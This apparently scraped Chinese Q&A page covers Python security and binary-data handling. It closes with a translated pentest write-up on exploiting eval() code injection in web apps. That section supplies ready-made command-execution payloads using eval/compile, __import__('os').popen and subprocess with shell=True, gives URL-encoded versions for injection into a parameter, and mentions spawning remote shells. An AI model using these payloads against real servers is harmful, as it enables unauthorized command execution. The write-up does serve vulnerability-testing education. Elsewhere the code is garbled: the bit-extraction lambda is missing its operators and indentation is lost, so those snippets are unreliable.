python尋找二進位漏洞,二進位漏洞挖掘方法

本文目錄一覽:

Python常見的漏洞都有什麼?

首先是解析XML漏洞。如果您的應用程序載入和解析XML文件,那麼您可能正在使用XML標準庫模塊。有一些針對XML的常見攻擊。大多數是DoS風格(旨在破壞系統而不是竊取數據)。這些攻擊很常見,尤其是在解析外部(即不受信任的)XML文件時。一種這樣的攻擊是「十億笑」,因為載入的文件包含許多(十億)「笑」。您可以載入XML實體文件,當XML解析器嘗試將此XML文件載入到內存中時,它將消耗許多GB的內存。

其次是SQL注入漏洞。SQL注入漏洞的原因是用戶輸入直接拼接到SQL查詢語句中。在pythonweb應用程序中,orm庫一般用於資料庫相關的操作。例如,Flask和Tornado經常使用SQLAlchemy,而Django有自己的orm引擎。.但是如果不使用ORM,直接拼接SQL語句,就有SQL注入的風險。

再者是輸入函數漏洞。在Python2的大量內置特性中,輸入是一場徹底的安全災難。一旦調用它,從標準輸入讀取的任何內容都會立即解析為Python代碼,顯然,除非腳本的標準輸入中的數據完全可信,否則決不能使用輸入函數。Python2文檔建議將rawinput作為安全的替代方案。在Python3中,input函數等價於rawinput,一勞永逸地解決了這個陷阱。

要知道SSTI是ServerSideTemplateInjection,是Web開發中使用的模板引擎。模板引擎可以將用戶界面和業務數據分離,邏輯代碼和業務代碼也可以相應分離,代碼復用變得簡單,開發效率也提高了。模板在伺服器端使用,數據由模板引擎渲染,然後傳遞給用戶,可以為特定用戶/特定參數生成對應的頁面。我們可以對比一下百度搜索,搜索不同詞條得到的結果頁面是不一樣的,但是頁面的邊框基本是一樣的。

python,抓取的網頁為二進位亂碼,怎麼解決

看看你的請求頭Accept-Encoding是不是設置了gzip,deflate

這樣的話,返回的response是需要解壓縮的

# Content-Encoding: gzip

#Content-Encoding: deflate

if(“Content-Encoding” in respInfo):

    if(“gzip” == respInfo[‘Content-Encoding’]):

        respHtml = zlib.decompress(respHtml, 16+zlib.MAX_WBITS);

    elif(“deflate” == respInfo[‘Content-Encoding’]):

        respHtml = zlib.decompress(respHtml, -zlib.MAX_WBITS);

python pdf二進位讀取問題

可以使用numpy.fromfile(),也可以使用open(filename, ‘rb’),其中的’b’就是二進位的意思,然後使用文件類型的read方法,讀取一些位元組,再用struct.unpack()方法來解析二進位。

第一種方法是一次性讀入文件(或文件的前多少個連續位元組)到一個數組中,因此,靈活性差。

第二種方法靈活性很高,可以讀取任意位置(使用文件的seek()方法跳躍位置)的二進位數據,再使用struct.unpack()方法來進行各種二進位解析。

提示:二進位文件是不保留存儲方式的數據格式,因此,讀二進位文件時應該知道二進位文件的存儲格式。

python怎麼處理二進位流

可以的,二進位是計算機內的表示方法,處理二進位數據是最基本的能力。

如果是二進位字元串轉十進位:

x = ‘10101010’

int(x, 2)

170

如果是從文件或網路中獲取的數據,要知道某一位是0還是1的話,獲取的數據可以按字元讀取,由於一個字元由8位二進位表示,分別讀取1到8位的二進位值就可以了:

get_char_bit = lambda char, n: (char (8-n)) 1 # 從高到低分別為第1~8位

data = b’ab’ # 在python3中字元串默認是unicode,所以加上b前綴兼容

# 在python3中按字元讀取byte字元串是數字,而python2讀出來的卻是字元,但bytearray是一致的都是數字

data = bytearray(data)

result = []

for char in data:

for i in range(1, 9):

result.append(get_char_bit(char, i))

result

[0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0]

web漏洞挖掘和二進位漏洞挖掘哪個容易

首先這類問題建議你去知乎,百度的回答你也看到了。好了,接下來我回答一下這個問題。要說到哪個容易,要看你個人對漏洞的理解。比如說web,想要做到挖掘,你得熟悉甚至精通一個web框架,比如說lamp,linux+apache+mysql+php,你可以搞定相關的一些問題。學習成本你也看到了。另外是對於漏洞的理解,常見的web漏洞,sql注入,xss跨站,csrf跨站請求偽造,文件上傳,命令執行等等。繼續說0day挖掘,白盒(比如代碼審計),灰盒(黑白盒結合),黑盒(Fuzz)。等等。接著來說二進位漏洞,我理解的二進位是,系統級別的漏洞挖掘。常見的比如緩衝區溢出,內存泄露等,影響比如本地許可權提升等等。學習成本就是你要學習彙編,C/C++,了解操作系統知識。熟悉常用的比如OD,IDA Pro等調試工具。另外建議學習一門腳本語言,方便編寫poc,這裡推薦python。

至於難易程度,自己來決定吧。

如何使用python查找網站漏洞

如果你的Web應用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著,如果你可以在目標伺服器中執行Python代碼的話,你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。

為了復現這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息,但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現了一個非互動式的shell,這也是我們這篇文章所要描述的內容。

因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題,因此Python代碼注入屬於伺服器端代碼注入的一種。實際上,如果各位同學和我一樣是一名CWE的關注者,那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容:

1. CWE-94:代碼生成控制不當(『代碼注入』)2. CWE-95:動態代碼評估指令處理不當(『Eval注入』)漏洞利用

假設你現在使用Burp或者其他工具發現了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:

eval(compile(‘for x in range(1):\n import time\n time.sleep(20)’,’a’,’single’))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了:

eval(compile(“””for x in range(1):\\n import os\\n os.popen(r’COMMAND’).read()”””,”,’single’))實際上,你甚至都不需要使用for循環,直接使用全局函數「__import__」就可以了。具體代碼如下所示:

eval(compile(“””__import__(‘os’).popen(r’COMMAND’).read()”””,”,’single’))其實我們的Payload代碼還可以更加簡潔,既然我們已經將import和popen寫在了一個表達式裡面了,那麼在大多數情況下,你甚至都不需要使用compile了。具體代碼如下所示:

__import__(‘os’).popen(‘COMMAND’).read()

為了將這個Payload發送給目標Web應用,你需要對其中的某些字元進行URL編碼。為了節省大家的時間,我們在這裡已經將上面所列出的Payload代碼編碼完成了,具體如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關於這個漏洞的細節內容,並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。

搭建一個包含漏洞的伺服器

為了更好地給各位同學進行演示,我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這裡獲取這份Web應用。接下來,我們要配置的就是Web應用的運行環境,即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行,或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示:

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

當你在網上搜索關於python的eval()函數時,幾乎沒有文章會提醒你這個函數是非常不安全的,而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應用中存在這個漏洞:

1. Web應用接受用戶輸入(例如GET/POST參數,cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:

\

大家可以看到,eval()函數是上述代碼中唯一一個存在問題的地方。除此之外,如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話,那麼Web應用中也將會出現這個漏洞。

不過需要注意的是,除了eval()函數之外,Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示,現在很多開發人員都會在Web應用中不規範地使用exec()函數,所以這個問題肯定會存在。

自動掃描漏洞

為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後,我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。

這個漏洞也不例外,如果你在某個Web應用中發現了這個漏洞,那麼你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業掃描工具,你幾乎是無法發現這個漏洞的。

當你搭建好測試環境之後,啟動並運行包含漏洞的示例應用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示:

\

下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:

\

我們可以看到,Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的),是因為當它將這個Payload發送給目標Web應用之後,伺服器的Python解析器休眠了20秒,響應信息在20秒之後才成功返回。但我要提醒大家的是,這種基於時間的漏洞檢查機制通常會存在一定的誤報。

將PoC升級成漏洞利用代碼

使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執行操作系統指令並接收相應的輸出數據,我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了,應該還有很多其他的函數同樣可以實現我們的目標。

因為eval()函數只能對表達式進行處理,因此Burp Suite Pro的Payload在這裡使用了compile()函數,這是一種非常聰明的做法。當然了,我們也可以使用其他的方法來實現,例如使用全局函數「__import__」。關於這部分內容請查閱參考資料:[參考資料1][參考資料2]

下面這個Payload應該可以適用於絕大多數的場景:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__(‘os’).popen(‘COMMAND’).read()

# Example with multiple expressions, separated by commasstr(“-“*50),__import__(‘os’).popen(‘COMMAND’).read()如果你需要執行一個或多個語句,那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示:

# Examples with one expression

eval(compile(“””__import__(‘os’).popen(r’COMMAND’).read()”””,”,’single’))eval(compile(“””__import__(‘subprocess’).check_output(r’COMMAND’,shell=True)”””,”,’single’))#Examples with multiple statements, separated by semicolonseval(compile(“””__import__(‘os’).popen(r’COMMAND’).read();import time;time.sleep(2)”””,”,’single’))eval(compile(“””__import__(‘subprocess’).check_output(r’COMMAND’,shell=True);import time;time.sleep(2)”””,”,’single’))在我的測試過程中,有時全局函數「__import__」會不起作用。在這種情況下,我們就要使用for循環了。相關代碼如下所示:

eval(compile(“””for x in range(1):\n import os\n os.popen(r’COMMAND’).read()”””,”,’single’))eval(compile(“””for x in range(1):\n import subprocess\n subprocess.Popen(r’COMMAND’,shell=True, stdout=subprocess.PIPE).stdout.read()”””,”,’single’))eval(compile(“””for x in range(1):\n import subprocess\n subprocess.check_output(r’COMMAND’,shell=True)”””,”,’single’))如果包含漏洞的參數是一個GET參數,那麼你就可以直接在瀏覽器中利用這個漏洞了:

\

請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發的工具。

如果是POST參數的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數中一次性調用了多個系統命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。

原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/159605.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2024-11-20 00:14
下一篇 2024-11-20 00:14

相關推薦

  • Python計算陽曆日期對應周幾

    本文介紹如何通過Python計算任意陽曆日期對應周幾。 一、獲取日期 獲取日期可以通過Python內置的模塊datetime實現,示例代碼如下: from datetime imp…

    編程 2025-04-29
  • Python列表中負數的個數

    Python列表是一個有序的集合,可以存儲多個不同類型的元素。而負數是指小於0的整數。在Python列表中,我們想要找到負數的個數,可以通過以下幾個方面進行實現。 一、使用循環遍歷…

    編程 2025-04-29
  • Python中引入上一級目錄中函數

    Python中經常需要調用其他文件夾中的模塊或函數,其中一個常見的操作是引入上一級目錄中的函數。在此,我們將從多個角度詳細解釋如何在Python中引入上一級目錄的函數。 一、加入環…

    編程 2025-04-29
  • Python周杰倫代碼用法介紹

    本文將從多個方面對Python周杰倫代碼進行詳細的闡述。 一、代碼介紹 from urllib.request import urlopen from bs4 import Bea…

    編程 2025-04-29
  • 如何查看Anaconda中Python路徑

    對Anaconda中Python路徑即conda環境的查看進行詳細的闡述。 一、使用命令行查看 1、在Windows系統中,可以使用命令提示符(cmd)或者Anaconda Pro…

    編程 2025-04-29
  • Python字典去重複工具

    使用Python語言編寫字典去重複工具,可幫助用戶快速去重複。 一、字典去重複工具的需求 在使用Python編寫程序時,我們經常需要處理數據文件,其中包含了大量的重複數據。為了方便…

    編程 2025-04-29
  • Python程序需要編譯才能執行

    Python 被廣泛應用於數據分析、人工智慧、科學計算等領域,它的靈活性和簡單易學的性質使得越來越多的人喜歡使用 Python 進行編程。然而,在 Python 中程序執行的方式不…

    編程 2025-04-29
  • 蝴蝶優化演算法Python版

    蝴蝶優化演算法是一種基於仿生學的優化演算法,模仿自然界中的蝴蝶進行搜索。它可以應用於多個領域的優化問題,包括數學優化、工程問題、機器學習等。本文將從多個方面對蝴蝶優化演算法Python版…

    編程 2025-04-29
  • python強行終止程序快捷鍵

    本文將從多個方面對python強行終止程序快捷鍵進行詳細闡述,並提供相應代碼示例。 一、Ctrl+C快捷鍵 Ctrl+C快捷鍵是在終端中經常用來強行終止運行的程序。當你在終端中運行…

    編程 2025-04-29
  • Python清華鏡像下載

    Python清華鏡像是一個高質量的Python開發資源鏡像站,提供了Python及其相關的開發工具、框架和文檔的下載服務。本文將從以下幾個方面對Python清華鏡像下載進行詳細的闡…

    編程 2025-04-29

發表回復

登錄後才能評論